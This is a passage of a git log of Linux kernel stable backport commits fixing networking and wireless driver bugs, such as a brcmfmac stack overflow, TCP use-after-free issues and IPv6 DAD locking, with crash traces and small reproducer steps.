Author: Arend Van Spriel <arend.vanspriel@broadcom.com>
Date:   Mon Sep 5 10:45:47 2016 +0100

    brcmfmac: avoid potential stack overflow in brcmf_cfg80211_start_ap()
    
    commit ded89912156b1a47d940a0c954c43afbabd0c42c upstream.
    
    User-space can choose to omit NL80211_ATTR_SSID and only provide raw
    IE TLV data. When doing so it can provide SSID IE with length exceeding
    the allowed size. The driver further processes this IE copying it
    into a local variable without checking the length. Hence stack can be
    corrupted and used as exploit.
    
    Reported-by: Daxing Guo <freener.gdx@gmail.com>
    Reviewed-by: Hante Meuleman <hante.meuleman@broadcom.com>
    Reviewed-by: Pieter-Paul Giesberts <pieter-paul.giesberts@broadcom.com>
    Reviewed-by: Franky Lin <franky.lin@broadcom.com>
    Signed-off-by: Arend van Spriel <arend.vanspriel@broadcom.com>
    Signed-off-by: Kalle Valo <kvalo@codeaurora.org>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 3e56d9852d8b7e3c5d26d3a872795af523d7a2d8
Author: Florian Fainelli <f.fainelli@gmail.com>
Date:   Mon Jul 18 16:24:37 2016 -0700

    brcmsmac: Initialize power in brcms_c_stf_ss_algo_channel_get()
    
    commit f823a2aa8f4674c095a5413b9e3ba12d82df06f2 upstream.
    
    wlc_phy_txpower_get_current() does a logical OR of power->flags, which
    presumes that power.flags was initiliazed earlier by the caller,
    unfortunately, this is not the case, so make sure we zero out the struct
    tx_power before calling into wlc_phy_txpower_get_current().
    
    Reported-by: coverity (CID 146011)
    Fixes: 5b435de0d7868 ("net: wireless: add brcm80211 drivers")
    Signed-off-by: Florian Fainelli <f.fainelli@gmail.com>
    Acked-by: Arend van Spriel <arend.vanspriel@broadcom.com>
    Signed-off-by: Kalle Valo <kvalo@codeaurora.org>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 5e26453d0fcb7d715592e438fb8883ef0c2d2dbf
Author: Florian Fainelli <f.fainelli@gmail.com>
Date:   Mon Jul 18 16:24:35 2016 -0700

    brcmsmac: Free packet if dma_mapping_error() fails in dma_rxfill
    
    commit 5c5fa1f464ac954982df1d96b9f9a5103d21aedd upstream.
    
    In case dma_mapping_error() returns an error in dma_rxfill, we would be
    leaking a packet that we allocated with brcmu_pkt_buf_get_skb().
    
    Reported-by: coverity (CID 1081819)
    Fixes: 67d0cf50bd32 ("brcmsmac: Fix WARNING caused by lack of calls to dma_mapping_error()")
    Signed-off-by: Florian Fainelli <f.fainelli@gmail.com>
    Acked-by: Arend van Spriel <arend@broadcom.com>
    Signed-off-by: Kalle Valo <kvalo@codeaurora.org>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 824c2230ed7a87dad0ee1b0511dac7717f822517
Author: Chuck Lever <chuck.lever@oracle.com>
Date:   Wed Jun 29 13:55:14 2016 -0400

    svc: Avoid garbage replies when pc_func() returns rpc_drop_reply
    
    commit 0533b13072f4bf35738290d2cf9e299c7bc6c42a upstream.
    
    If an RPC program does not set vs_dispatch and pc_func() returns
    rpc_drop_reply, the server sends a reply anyway containing a single
    word containing the value RPC_DROP_REPLY (in network byte-order, of
    course). This is a nonsense RPC message.
    
    Fixes: 9e701c610923 ("svcrpc: simpler request dropping")
    Signed-off-by: Chuck Lever <chuck.lever@oracle.com>
    Tested-by: Steve Wise <swise@opengridcomputing.com>
    Signed-off-by: Anna Schumaker <Anna.Schumaker@Netapp.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 8d83a53854e4034e92e33c1eff4b069ef8e3b89f
Author: Sara Sharon <sara.sharon@intel.com>
Date:   Thu Jun 9 17:19:35 2016 +0300

    iwlwifi: pcie: fix access to scratch buffer
    
    commit d5d0689aefc59c6a5352ca25d7e6d47d03f543ce upstream.
    
    This fixes a pretty ancient bug that hasn't manifested itself
    until now.
    The scratchbuf for command queue is allocated only for 32 slots
    but is accessed with the queue write pointer - which can be
    up to 256.
    Since the scratch buf size was 16 and there are up to 256 TFDs
    we never passed a page boundary when accessing the scratch buffer,
    but when attempting to increase the size of the scratch buffer a
    panic was quick to follow when trying to access the address resulted
    in a page boundary.
    
    Signed-off-by: Sara Sharon <sara.sharon@intel.com>
    Fixes: 38c0f334b359 ("iwlwifi: use coherent DMA memory for command header")
    Signed-off-by: Luca Coelho <luciano.coelho@intel.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit d53b66097ef0ed4569016c7241fc5a9a91c5f488
Author: Michal Kubecek <mkubecek@suse.cz>
Date:   Fri Jun 3 17:56:50 2016 +0200

    ipvs: count pre-established TCP states as active
    
    commit be2cef49904b34dd5f75d96bbc8cd8341bab1bc0 upstream.
    
    Some users observed that "least connection" distribution algorithm doesn't
    handle well bursts of TCP connections from reconnecting clients after
    a node or network failure.
    
    This is because the algorithm counts active connection as worth 256
    inactive ones where for TCP, "active" only means TCP connections in
    ESTABLISHED state. In case of a connection burst, new connections are
    handled before previous ones have finished the three way handshaking so
    that all are still counted as "inactive", i.e. cheap ones. The become
    "active" quickly but at that time, all of them are already assigned to one
    real server (or few), resulting in highly unbalanced distribution.
    
    Address this by counting the "pre-established" states as "active".
    
    Signed-off-by: Michal Kubecek <mkubecek@suse.cz>
    Acked-by: Julian Anastasov <ja@ssi.bg>
    Signed-off-by: Simon Horman <horms@verge.net.au>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 5a0b77dcdb3baf1d076864289098683e6a9d96f9
Author: Michal Kubecek <mkubecek@suse.cz>
Date:   Mon May 9 11:01:04 2016 +0200

    net: disable fragment reassembly if high_thresh is set to zero
    
    commit 30759219f562cfaaebe7b9c1d1c0e6b5445c69b0 upstream.
    
    Before commit 6d7b857d541e ("net: use lib/percpu_counter API for
    fragmentation mem accounting"), setting high threshold to 0 prevented
    fragment reassembly as first fragment would be always evicted before
    second could be added to the queue. While inefficient, some users
    apparently relied on it.
    
    Since the commit mentioned above, a percpu counter is used for
    reassembly memory accounting and high batch size avoids taking slow path
    in most common scenarios. As a result, a whole full sized packet can be
    reassembled without the percpu counter's main counter changing its
    value so that even with high_thresh set to 0, fragmented packets can be
    still reassembled and processed.
    
    Add explicit checks preventing reassembly if high threshold is zero.
    
    [mk] backport to 3.12
    
    Signed-off-by: Michal Kubecek <mkubecek@suse.cz>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit eec89a779ca280a068c97ce2309961ebe83c2ce3
Author: Emrah Demir <ed@abdsec.com>
Date:   Fri Apr 8 22:16:11 2016 +0300

    mISDN: Fixing missing validation in base_sock_bind()
    
    commit b821646826e22f0491708768fccce58eef3f5704 upstream.
    
    Add validation code into mISDN/socket.c
    
    Signed-off-by: Emrah Demir <ed@abdsec.com>
    Signed-off-by: David S. Miller <davem@davemloft.net>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 54fbda50191321d8ee0593213a2bd6adee9e855b
Author: Maciej S. Szmigiero <mail@maciej.szmigiero.name>
Date:   Sun Mar 13 00:19:07 2016 +0100

    mISDN: Support DR6 indication in mISDNipac driver
    
    commit 1e1589ad8b5cb5b8a6781ba5850cf710ada0e919 upstream.
    
    According to figure 39 in PEB3086 data sheet, version 1.4 this indication
    replaces DR when layer 1 transition source state is F6.
    
    This fixes mISDN layer 1 getting stuck in F6 state in TE mode on
    Dialogic Diva 2.02 card (and possibly others) when NT deactivates it.
    
    Signed-off-by: Maciej S. Szmigiero <mail@maciej.szmigiero.name>
    Acked-by: Karsten Keil <keil@b1-systems.de>
    Signed-off-by: David S. Miller <davem@davemloft.net>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 49c201c12a087a8437badfe0f5075661c75c447a
Author: Konstantin Khlebnikov <khlebnikov@yandex-team.ru>
Date:   Fri Jul 17 14:01:11 2015 +0300

    net: ratelimit warnings about dst entry refcount underflow or overflow
    
    commit 8bf4ada2e21378816b28205427ee6b0e1ca4c5f1 upstream.
    
    Kernel generates a lot of warnings when dst entry reference counter
    overflows and becomes negative. That bug was seen several times at
    machines with outdated 3.10.y kernels. Most like it's already fixed
    in upstream. Anyway that flood completely kills machine and makes
    further debugging impossible.
    
    Signed-off-by: Konstantin Khlebnikov <khlebnikov@yandex-team.ru>
    Signed-off-by: David S. Miller <davem@davemloft.net>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 745db35452567cca10e92a2b0c70d85494c1ad0e
Author: Mahesh Bandewar <maheshb@google.com>
Date:   Thu Sep 1 22:18:34 2016 -0700

    bonding: Fix bonding crash
    
    commit 24b27fc4cdf9e10c5e79e5923b6b7c2c5c95096c upstream.
    
    Following few steps will crash kernel -
    
      (a) Create bonding master
          > modprobe bonding miimon=50
      (b) Create macvlan bridge on eth2
          > ip link add link eth2 dev mvl0 address aa:0:0:0:0:01 \
               type macvlan
      (c) Now try adding eth2 into the bond
          > echo +eth2 > /sys/class/net/bond0/bonding/slaves
          <crash>
    
    Bonding does lots of things before checking if the device enslaved is
    busy or not.
    
    In this case when the notifier call-chain sends notifications, the
    bond_netdev_event() assumes that the rx_handler /rx_handler_data is
    registered while the bond_enslave() hasn't progressed far enough to
    register rx_handler for the new slave.
    
    This patch adds a rx_handler check that can be performed right at the
    beginning of the enslave code to avoid getting into this situation.
    
    Signed-off-by: Mahesh Bandewar <maheshb@google.com>
    Acked-by: Eric Dumazet <edumazet@google.com>
    Signed-off-by: David S. Miller <davem@davemloft.net>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 56325d9fb7b138b228577ae99382b70084ab82f3
Author: Eric Dumazet <edumazet@google.com>
Date:   Thu Nov 10 13:12:35 2016 -0800

    tcp: take care of truncations done by sk_filter()
    
    commit ac6e780070e30e4c35bd395acfe9191e6268bdd3 upstream.
    
    With syzkaller help, Marco Grassi found a bug in TCP stack,
    crashing in tcp_collapse()
    
    Root cause is that sk_filter() can truncate the incoming skb,
    but TCP stack was not really expecting this to happen.
    It probably was expecting a simple DROP or ACCEPT behavior.
    
    We first need to make sure no part of TCP header could be removed.
    Then we need to adjust TCP_SKB_CB(skb)->end_seq
    
    Many thanks to syzkaller team and Marco for giving us a reproducer.
    
    Signed-off-by: Eric Dumazet <edumazet@google.com>
    Reported-by: Marco Grassi <marco.gra@gmail.com>
    Reported-by: Vladis Dronov <vdronov@redhat.com>
    Signed-off-by: David S. Miller <davem@davemloft.net>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit d318f82f1c4e3823253fcc9dc2053a46ef7b14a6
Author: Douglas Caetano dos Santos <douglascs@taghos.com.br>
Date:   Thu Sep 22 15:52:04 2016 -0300

    tcp: fix wrong checksum calculation on MTU probing
    
    commit 2fe664f1fcf7c4da6891f95708a7a56d3c024354 upstream.
    
    With TCP MTU probing enabled and offload TX checksumming disabled,
    tcp_mtu_probe() calculated the wrong checksum when a fragment being copied
    into the probe's SKB had an odd length. This was caused by the direct use
    of skb_copy_and_csum_bits() to calculate the checksum, as it pads the
    fragment being copied, if needed. When this fragment was not the last, a
    subsequent call used the previous checksum without considering this
    padding.
    
    The effect was a stale connection in one way, as even retransmissions
    wouldn't solve the problem, because the checksum was never recalculated for
    the full SKB length.
    
    Signed-off-by: Douglas Caetano dos Santos <douglascs@taghos.com.br>
    Signed-off-by: David S. Miller <davem@davemloft.net>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 93522d310c31a54973def2a6ea15d3b418045f49
Author: Eric Dumazet <edumazet@google.com>
Date:   Thu Sep 15 08:12:33 2016 -0700

    tcp: fix overflow in __tcp_retransmit_skb()
    
    commit ffb4d6c8508657824bcef68a36b2a0f9d8c09d10 upstream.
    
    If a TCP socket gets a large write queue, an overflow can happen
    in a test in __tcp_retransmit_skb() preventing all retransmits.
    
    The flow then stalls and resets after timeouts.
    
    Tested:
    
    sysctl -w net.core.wmem_max=1000000000
    netperf -H dest -- -s 1000000000
    
    Signed-off-by: Eric Dumazet <edumazet@google.com>
    Signed-off-by: David S. Miller <davem@davemloft.net>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 1c50d3ae6df65a82fe814d9c368dc13e9cd8271f
Author: Eric Dumazet <edumazet@google.com>
Date:   Mon Aug 22 11:31:10 2016 -0700

    tcp: properly scale window in tcp_v[46]_reqsk_send_ack()
    
    commit 20a2b49fc538540819a0c552877086548cff8d8d upstream.
    
    When sending an ack in SYN_RECV state, we must scale the offered
    window if wscale option was negotiated and accepted.
    
    Tested:
     Following packetdrill test demonstrates the issue :
    
    0.000 socket(..., SOCK_STREAM, IPPROTO_TCP) = 3
    +0 setsockopt(3, SOL_SOCKET, SO_REUSEADDR, [1], 4) = 0
    
    +0 bind(3, ..., ...) = 0
    +0 listen(3, 1) = 0
    
    // Establish a connection.
    +0 < S 0:0(0) win 20000 <mss 1000,sackOK,wscale 7, nop, TS val 100 ecr 0>
    +0 > S. 0:0(0) ack 1 win 28960 <mss 1460,sackOK, TS val 100 ecr 100, nop, wscale 7>
    
    +0 < . 1:11(10) ack 1 win 156 <nop,nop,TS val 99 ecr 100>
    // check that window is properly scaled !
    +0 > . 1:1(0) ack 1 win 226 <nop,nop,TS val 200 ecr 100>
    
    Signed-off-by: Eric Dumazet <edumazet@google.com>
    Cc: Yuchung Cheng <ycheng@google.com>
    Cc: Neal Cardwell <ncardwell@google.com>
    Acked-by: Yuchung Cheng <ycheng@google.com>
    Acked-by: Neal Cardwell <ncardwell@google.com>
    Signed-off-by: David S. Miller <davem@davemloft.net>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 13403121e729df59dd92d9e4054293d91a004bf5
Author: Eric Dumazet <edumazet@google.com>
Date:   Wed Aug 17 05:56:26 2016 -0700

    tcp: fix use after free in tcp_xmit_retransmit_queue()
    
    commit bb1fceca22492109be12640d49f5ea5a544c6bb4 upstream.
    
    When tcp_sendmsg() allocates a fresh and empty skb, it puts it at the
    tail of the write queue using tcp_add_write_queue_tail()
    
    Then it attempts to copy user data into this fresh skb.
    
    If the copy fails, we undo the work and remove the fresh skb.
    
    Unfortunately, this undo lacks the change done to tp->highest_sack and
    we can leave a dangling pointer (to a freed skb)
    
    Later, tcp_xmit_retransmit_queue() can dereference this pointer and
    access freed memory. For regular kernels where memory is not unmapped,
    this might cause SACK bugs because tcp_highest_sack_seq() is buggy,
    returning garbage instead of tp->snd_nxt, but with various debug
    features like CONFIG_DEBUG_PAGEALLOC, this can crash the kernel.
    
    This bug was found by Marco Grassi thanks to syzkaller.
    
    Fixes: 6859d49475d4 ("[TCP]: Abstract tp->highest_sack accessing & point to next skb")
    Reported-by: Marco Grassi <marco.gra@gmail.com>
    Signed-off-by: Eric Dumazet <edumazet@google.com>
    Cc: Ilpo Järvinen <ilpo.jarvinen@helsinki.fi>
    Cc: Yuchung Cheng <ycheng@google.com>
    Cc: Neal Cardwell <ncardwell@google.com>
    Acked-by: Neal Cardwell <ncardwell@google.com>
    Reviewed-by: Cong Wang <xiyou.wangcong@gmail.com>
    Signed-off-by: David S. Miller <davem@davemloft.net>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 942878ee52ce0bf0eb65cac7b79b67b0af834069
Author: Vegard Nossum <vegard.nossum@oracle.com>
Date:   Fri Aug 12 10:29:13 2016 +0200

    net/irda: handle iriap_register_lsap() allocation failure
    
    commit 5ba092efc7ddff040777ae7162f1d195f513571b upstream.
    
    If iriap_register_lsap() fails to allocate memory, self->lsap is
    set to NULL. However, none of the callers handle the failure and
    irlmp_connect_request() will happily dereference it:
    
        iriap_register_lsap: Unable to allocated LSAP!
        ================================================================================
        UBSAN: Undefined behaviour in net/irda/irlmp.c:378:2
        member access within null pointer of type 'struct lsap_cb'
        CPU: 1 PID: 15403 Comm: trinity-c0 Not tainted 4.8.0-rc1+ #81
        Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.9.3-0-ge2fc41e-prebuilt.qemu-project.org
        04/01/2014
         0000000000000000 ffff88010c7e78a8 ffffffff82344f40 0000000041b58ab3
         ffffffff84f98000 ffffffff82344e94 ffff88010c7e78d0 ffff88010c7e7880
         ffff88010630ad00 ffffffff84a5fae0 ffffffff84d3f5c0 000000000000017a
        Call Trace:
         [<ffffffff82344f40>] dump_stack+0xac/0xfc
         [<ffffffff8242f5a8>] ubsan_epilogue+0xd/0x8a
         [<ffffffff824302bf>] __ubsan_handle_type_mismatch+0x157/0x411
         [<ffffffff83b7bdbc>] irlmp_connect_request+0x7ac/0x970
         [<ffffffff83b77cc0>] iriap_connect_request+0xa0/0x160
         [<ffffffff83b77f48>] state_s_disconnect+0x88/0xd0
         [<ffffffff83b78904>] iriap_do_client_event+0x94/0x120
         [<ffffffff83b77710>] iriap_getvaluebyclass_request+0x3e0/0x6d0
         [<ffffffff83ba6ebb>] irda_find_lsap_sel+0x1eb/0x630
         [<ffffffff83ba90c8>] irda_connect+0x828/0x12d0
         [<ffffffff833c0dfb>] SYSC_connect+0x22b/0x340
         [<ffffffff833c7e09>] SyS_connect+0x9/0x10
         [<ffffffff81007bd3>] do_syscall_64+0x1b3/0x4b0
         [<ffffffff845f946a>] entry_SYSCALL64_slow_path+0x25/0x25
        ================================================================================
    
    The bug seems to have been around since forever.
    
    There's more problems with missing error checks in iriap_init() (and
    indeed all of irda_init()), but that's a bigger problem that needs
    very careful review and testing. This patch will fix the most serious
    bug (as it's easily reached from unprivileged userspace).
    
    I have tested my patch with a reproducer.
    
    Signed-off-by: Vegard Nossum <vegard.nossum@oracle.com>
    Signed-off-by: David S. Miller <davem@davemloft.net>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 68836e49662246cf330a4b141854c800af0cf838
Author: Paolo Abeni <pabeni@redhat.com>
Date:   Wed Nov 16 16:26:46 2016 +0100

    ip6_tunnel: disable caching when the traffic class is inherited
    
    commit b5c2d49544e5930c96e2632a7eece3f4325a1888 upstream.
    
    If an ip6 tunnel is configured to inherit the traffic class from
    the inner header, the dst_cache must be disabled or it will foul
    the policy routing.
    
    The issue is apprently there since at leat Linux-2.6.12-rc2.
    
    Reported-by: Liam McBirnie <liam.mcbirnie@boeing.com>
    Cc: Liam McBirnie <liam.mcbirnie@boeing.com>
    Acked-by: Hannes Frederic Sowa <hannes@stressinduktion.org>
    Signed-off-by: Paolo Abeni <pabeni@redhat.com>
    Signed-off-by: David S. Miller <davem@davemloft.net>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit b030cd1acc62f47cf8f880d87089611e5e780ad4
Author: Eli Cooper <elicooper@gmx.com>
Date:   Tue Nov 1 23:45:12 2016 +0800

    ip6_tunnel: Clear IP6CB in ip6tunnel_xmit()
    
    commit 23f4ffedb7d751c7e298732ba91ca75d224bc1a6 upstream.
    
    skb->cb may contain data from previous layers. In the observed scenario,
    the garbage data were misinterpreted as IP6CB(skb)->frag_max_size, so
    that small packets sent through the tunnel are mistakenly fragmented.
    
    This patch unconditionally clears the control buffer in ip6tunnel_xmit(),
    which affects ip6_tunnel, ip6_udp_tunnel and ip6_gre. Currently none of
    these tunnels set IP6CB(skb)->flags, otherwise it needs to be done earlier.
    
    Cc: stable@vger.kernel.org
    Signed-off-by: Eli Cooper <elicooper@gmx.com>
    Signed-off-by: David S. Miller <davem@davemloft.net>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit c3a924e1d9244711090c7950355474ce422be138
Author: Eric Dumazet <edumazet@google.com>
Date:   Thu Nov 3 08:59:46 2016 -0700

    ipv6: dccp: add missing bind_conflict to dccp_ipv6_mapped
    
    commit 990ff4d84408fc55942ca6644f67e361737b3d8e upstream.
    
    While fuzzing kernel with syzkaller, Andrey reported a nasty crash
    in inet6_bind() caused by DCCP lacking a required method.
    
    Fixes: ab1e0a13d7029 ("[SOCK] proto: Add hashinfo member to struct proto")
    Signed-off-by: Eric Dumazet <edumazet@google.com>
    Reported-by: Andrey Konovalov <andreyknvl@google.com>
    Tested-by: Andrey Konovalov <andreyknvl@google.com>
    Cc: Arnaldo Carvalho de Melo <acme@redhat.com>
    Acked-by: Arnaldo Carvalho de Melo <acme@redhat.com>
    Signed-off-by: David S. Miller <davem@davemloft.net>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit bd380617d5d161ea2bbe7a8073b3ca7bca0381e5
Author: Eric Dumazet <edumazet@google.com>
Date:   Wed Nov 2 20:30:48 2016 -0700

    ipv6: dccp: fix out of bound access in dccp_v6_err()
    
    commit 1aa9d1a0e7eefcc61696e147d123453fc0016005 upstream.
    
    dccp_v6_err() does not use pskb_may_pull() and might access garbage.
    
    We only need 4 bytes at the beginning of the DCCP header, like TCP,
    so the 8 bytes pulled in icmpv6_notify() are more than enough.
    
    Signed-off-by: Eric Dumazet <edumazet@google.com>
    Signed-off-by: David S. Miller <davem@davemloft.net>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 14ba02f999dd88a69ee0b1e723780b0aebb6cbe4
Author: Nicolas Dichtel <nicolas.dichtel@6wind.com>
Date:   Wed Oct 12 10:10:40 2016 +0200

    ipv6: correctly add local routes when lo goes up
    
    commit a220445f9f4382c36a53d8ef3e08165fa27f7e2c upstream.
    
    The goal of the patch is to fix this scenario:
     ip link add dummy1 type dummy
     ip link set dummy1 up
     ip link set lo down ; ip link set lo up
    
    After that sequence, the local route to the link layer address of dummy1 is
    not there anymore.
    
    When the loopback is set down, all local routes are deleted by
    addrconf_ifdown()/rt6_ifdown(). At this time, the rt6_info entry still
    exists, because the corresponding idev has a reference on it. After the rcu
    grace period, dst_rcu_free() is called, and thus ___dst_free(), which will
    set obsolete to DST_OBSOLETE_DEAD.
    
    In this case, init_loopback() is called before dst_rcu_free(), thus
    obsolete is still sets to something <= 0. So, the function doesn't add the
    route again. To avoid that race, let's check the rt6 refcnt instead.
    
    Fixes: 25fb6ca4ed9c ("net IPv6 : Fix broken IPv6 routing table after loopback down-up")
    Fixes: a881ae1f625c ("ipv6: don't call addrconf_dst_alloc again when enable lo")
    Fixes: 33d99113b110 ("ipv6: reallocate addrconf router for ipv6 address when lo device up")
    Reported-by: Francesco Santoro <francesco.santoro@6wind.com>
    Reported-by: Samuel Gauthier <samuel.gauthier@6wind.com>
    CC: Balakumaran Kannan <Balakumaran.Kannan@ap.sony.com>
    CC: Maruthi Thotad <Maruthi.Thotad@ap.sony.com>
    CC: Sabrina Dubroca <sd@queasysnail.net>
    CC: Hannes Frederic Sowa <hannes@stressinduktion.org>
    CC: Weilong Chen <chenweilong@huawei.com>
    CC: Gao feng <gaofeng@cn.fujitsu.com>
    Signed-off-by: Nicolas Dichtel <nicolas.dichtel@6wind.com>
    Signed-off-by: David S. Miller <davem@davemloft.net>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 1735aaba625f3fbf7da6d267e2a97700a39d5588
Author: Lance Richardson <lrichard@redhat.com>
Date:   Fri Sep 23 15:50:29 2016 -0400

    ip6_gre: fix flowi6_proto value in ip6gre_xmit_other()
    
    commit db32e4e49ce2b0e5fcc17803d011a401c0a637f6 upstream.
    
    Similar to commit 3be07244b733 ("ip6_gre: fix flowi6_proto value in
    xmit path"), set flowi6_proto to IPPROTO_GRE for output route lookup.
    
    Up until now, ip6gre_xmit_other() has set flowi6_proto to a bogus value.
    This affected output route lookup for packets sent on an ip6gretap device
    in cases where routing was dependent on the value of flowi6_proto.
    
    Since the correct proto is already set in the tunnel flowi6 template via
    commit 252f3f5a1189 ("ip6_gre: Set flowi6_proto as IPPROTO_GRE in xmit
    path."), simply delete the line setting the incorrect flowi6_proto value.
    
    Suggested-by: Jiri Benc <jbenc@redhat.com>
    Fixes: c12b395a4664 ("gre: Support GRE over IPv6")
    Reviewed-by: Shmulik Ladkani <shmulik.ladkani@gmail.com>
    Signed-off-by: Lance Richardson <lrichard@redhat.com>
    Signed-off-by: David S. Miller <davem@davemloft.net>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit b64222a9d3d6d9e770b731020760e49a93f8f29f
Author: Sabrina Dubroca <sd@queasysnail.net>
Date:   Fri Dec 16 10:16:58 2016 +0000

    ipv6: fix rtnl locking in setsockopt for anycast and multicast
    
    commit a9ed4a2986e13011fcf4ed2d1a1647c53112f55b upstream.
    
    Calling setsockopt with IPV6_JOIN_ANYCAST or IPV6_LEAVE_ANYCAST
    triggers the assertion in addrconf_join_solict()/addrconf_leave_solict()
    
    ipv6_sock_ac_join(), ipv6_sock_ac_drop(), ipv6_sock_ac_close() need to
    take RTNL before calling ipv6_dev_ac_inc/dec. Same thing with
    ipv6_sock_mc_join(), ipv6_sock_mc_drop(), ipv6_sock_mc_close() before
    calling ipv6_dev_mc_inc/dec.
    
    This patch moves ASSERT_RTNL() up a level in the call stack.
    
    Signed-off-by: Cong Wang <xiyou.wangcong@gmail.com>
    Signed-off-by: Sabrina Dubroca <sd@queasysnail.net>
    Reported-by: Tommi Rantala <tt.rantala@gmail.com>
    Acked-by: Hannes Frederic Sowa <hannes@stressinduktion.org>
    Signed-off-by: David S. Miller <davem@davemloft.net>
    Cc: <stable@vger.kernel.org> # 3.10.y: b7b1bfce: ipv6: split dad and rs timers
    Cc: <stable@vger.kernel.org> # 3.10.y: c15b1cca: ipv6: move dad to workqueue
    Cc: <stable@vger.kernel.org> # 3.10.y
    [Mike Manning <mmanning@brocade.com>: resolved minor conflicts in addrconf.c]
    Signed-off-by: Mike Manning <mmanning@brocade.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 04355d6767db1b57ffb2f1d71727565ba41657b6
Author: Wei Yongjun <weiyongjun1@huawei.com>
Date:   Fri Dec 16 14:37:00 2016 +0000

    ipv6: addrconf: fix dev refcont leak when DAD failed
    
    commit 751eb6b6042a596b0080967c1a529a9fe98dac1d upstream.
    
    In general, when DAD detected IPv6 duplicate address, ifp->state
    will be set to INET6_IFADDR_STATE_ERRDAD and DAD is stopped by a
    delayed work, the call tree should be like this:
    
    ndisc_recv_ns
      -> addrconf_dad_failure        <- missing ifp put
         -> addrconf_mod_dad_work
           -> schedule addrconf_dad_work()
             -> addrconf_dad_stop()  <- missing ifp hold before call it
    
    addrconf_dad_failure() called with ifp refcont holding but not put.
    addrconf_dad_work() call addrconf_dad_stop() without extra holding
    refcount. This will not cause any issue normally.
    
    But the race between addrconf_dad_failure() and addrconf_dad_work()
    may cause ifp refcount leak and netdevice can not be unregister,
    dmesg show the following messages:
    
    IPv6: eth0: IPv6 duplicate address fe80::XX:XXXX:XXXX:XX detected!
    ...
    unregister_netdevice: waiting for eth0 to become free. Usage count = 1
    
    Cc: stable@vger.kernel.org
    Fixes: c15b1ccadb32 ("ipv6: move DAD and addrconf_verify processing
    to workqueue")
    Signed-off-by: Wei Yongjun <weiyongjun1@huawei.com>
    Signed-off-by: David S. Miller <davem@davemloft.net>
    Cc: <stable@vger.kernel.org> # 3.10.y
    Signed-off-by: Mike Manning <mmanning@brocade.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 835b474b8f70fa68d68abffad37378e92f661802
Author: Hannes Frederic Sowa <hannes@stressinduktion.org>
Date:   Fri Dec 16 10:16:12 2016 +0000

    ipv6: move DAD and addrconf_verify processing to workqueue
    
    commit c15b1ccadb323ea50023e8f1cca2954129a62b51 upstream.
    
    addrconf_join_solict and addrconf_join_anycast may cause actions which
    need rtnl locked, especially on first address creation.
    
    A new DAD state is introduced which defers processing of the initial
    DAD processing into a workqueue.
    
    To get rtnl lock we need to push the code paths which depend on those
    calls up to workqueues, specifically addrconf_verify and the DAD
    processing.
    
    (v2)
    addrconf_dad_failure needs to be queued up to the workqueue, too. This
    patch introduces a new DAD state and stop the DAD processing in the
    workqueue (this is because of the possible ipv6_del_addr processing
    which removes the solicited multicast address from the device).
    
    addrconf_verify_lock is removed, too. After the transition it is not
    needed any more.
    
    As we are not processing in bottom half anymore we need to be a bit more
    careful about disabling bottom half out when we lock spin_locks which are also
    used in bh.
    
    Relevant backtrace:
    [  541.030090] RTNL: assertion failed at net/core/dev.c (4496)
    [  541.031143] CPU: 0 PID: 0 Comm: swapper/0 Tainted: G           O 3.10.33-1-amd64-vyatta #1
    [  541.031145] Hardware name: Bochs Bochs, BIOS Bochs 01/01/2007
    [  541.031146]  ffffffff8148a9f0 000000000000002f ffffffff813c98c1 ffff88007c4451f8
    [  541.031148]  0000000000000000 0000000000000000 ffffffff813d3540 ffff88007fc03d18
    [  541.031150]  0000880000000006 ffff88007c445000 ffffffffa0194160 0000000000000000
    [  541.031152] Call Trace:
    [  541.031153]  <IRQ>  [<ffffffff8148a9f0>] ? dump_stack+0xd/0x17
    [  541.031180]  [<ffffffff813c98c1>] ? __dev_set_promiscuity+0x101/0x180
    [  541.031183]  [<ffffffff813d3540>] ? __hw_addr_create_ex+0x60/0xc0
    [  541.031185]  [<ffffffff813cfe1a>] ? __dev_set_rx_mode+0xaa/0xc0
    [  541.031189]  [<ffffffff813d3a81>] ? __dev_mc_add+0x61/0x90
    [  541.031198]  [<ffffffffa01dcf9c>] ? igmp6_group_added+0xfc/0x1a0 [ipv6]
    [  541.031208]  [<ffffffff8111237b>] ? kmem_cache_alloc+0xcb/0xd0
    [  541.031212]  [<ffffffffa01ddcd7>] ? ipv6_dev_mc_inc+0x267/0x300 [ipv6]
    [  541.031216]  [<ffffffffa01c2fae>] ? addrconf_join_solict+0x2e/0x40 [ipv6]
    [  541.031219]  [<ffffffffa01ba2e9>] ? ipv6_dev_ac_inc+0x159/0x1f0 [ipv6]
    [  541.031223]  [<ffffffffa01c0772>] ? addrconf_join_anycast+0x92/0xa0 [ipv6]
    [  541.031226]  [<ffffffffa01c311e>] ? __ipv6_ifa_notify+0x11e/0x1e0 [ipv6]
    [  541.031229]  [<ffffffffa01c3213>] ? ipv6_ifa_notify+0x33/0x50 [ipv6]
    [  541.031233]  [<ffffffffa01c36c8>] ? addrconf_dad_completed+0x28/0x100 [ipv6]
